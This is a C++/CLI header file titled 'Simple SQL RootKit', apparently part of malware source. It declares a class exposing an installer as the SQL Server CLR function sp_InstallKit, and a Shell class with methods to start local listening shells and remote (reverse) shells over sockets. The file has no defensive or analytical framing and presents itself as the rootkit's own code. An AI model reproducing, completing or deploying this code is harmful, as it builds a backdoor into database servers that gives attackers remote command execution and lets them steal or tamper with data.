// SSRK.h (Simple SQL RootKit)
// ---------------------------

#pragma once

#using <System.dll>
#using <System.Data.dll>
#using <System.Xml.dll>

using namespace System;
using namespace System::IO;
using namespace System::Text;
using namespace System::Data;
using namespace System::Threading;
using namespace System::Diagnostics;
using namespace System::Data::Sql;
using namespace System::Data::SqlTypes;
using namespace System::Data::SqlClient;
using namespace Microsoft::SqlServer::Server;
using namespace System::Net;
using namespace System::Net::Sockets;
using namespace System::Text::RegularExpressions;
using namespace System::Runtime::InteropServices;

// The name of the kit class function
#define	KIT_NAME		"sp_InstallKit"
// This is a given
#define	TACOS_RULE		1
// Time-out for listening shell sockets
#define CLIENT_TIME_OUT	1800000

namespace SSRK
{
	public ref class SqlKit
	{
	public:
		[SqlFunction(Name=KIT_NAME)]
		static void InstallKit();
	private:
		static void RunKit();
	};

	private ref class Shell
	{
	public:
		static StreamReader^ _sReader = nullptr;
		static StreamWriter^ _sWriter = nullptr;
		static void StartLocalShell(int,bool);
		static void StartRemoteShell(String^,int,bool);
	private:
		static void ShellThread(Object^);
		static void ShellIOoutFunc(Object^, DataReceivedEventArgs^);
		static void ShellIOerrFunc(Object^, DataReceivedEventArgs^);
	};
}